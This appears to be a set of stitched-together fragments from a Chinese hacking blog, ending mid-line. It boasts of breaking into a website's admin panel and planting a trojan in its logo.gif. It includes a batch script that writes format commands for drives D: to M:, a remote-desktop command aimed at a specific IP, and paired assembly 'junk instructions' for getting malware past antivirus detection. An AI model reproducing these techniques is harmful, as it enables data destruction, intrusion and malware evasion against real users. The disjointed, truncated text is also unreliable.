今天拿了个站，只拿下后台，没法拿SHELL挂马。思前想后，终于还是找了个方法在他主页挂马。

就是网站logo.gif中做手脚。

在网络上这么些年月，总算有个自己的小窝了，以后大概不会常来这里了吧，这里的文章会慢慢转移到我的新博客http://www.s1rv1r.cn          http://www.rinimabi.cn(该域名已被国家回收) http://www.zanxix.cn

http://www.OobabyoO.cn

已上四个域名均可访问我的新博客。欢迎大家常来坐坐！

今天写这东西，不小心把自己D盘都格了。郁闷死！

@echo off
@cd %temp%
@echo format d:/y/q/x>format.bat
@echo format e:/y/q/x>>format.bat
@echo format f:/y/q/x>>format.bat
@echo format g:/y/q/x>>format.bat
@echo format h:/y/q/x>>format.bat
@echo format i:/y/q/x>>format.bat
@echo format j:/y/q/x>>format.bat
@echo format k:/y/q/x>>format.bat
@echo format l:/y/q/x>>format.bat
@echo format m:/y

在运行里输入

mstsc /v:220.170.158.78:3389 /console

注:编写花指令,可参考以下成双指令,可任意自由组合.达到免杀效果.
push ebp
pop ebp
push eax
pop eax
push esp
pop esp
push 0
push 0
push 10 -------其中数字可以任意,注意与下面对应
push -10
nop -----------可任意在中间添加
与它等效的:
mov EDI,EDI

add esp,1 -------其中数字可以任意,注意以下面对应
add esp,-1
add esp,1 --------其中数字可以任意,注意以下面对应
sub esp,1
inc ecx
dec ecx
sub eax, -2 ----------其中数字可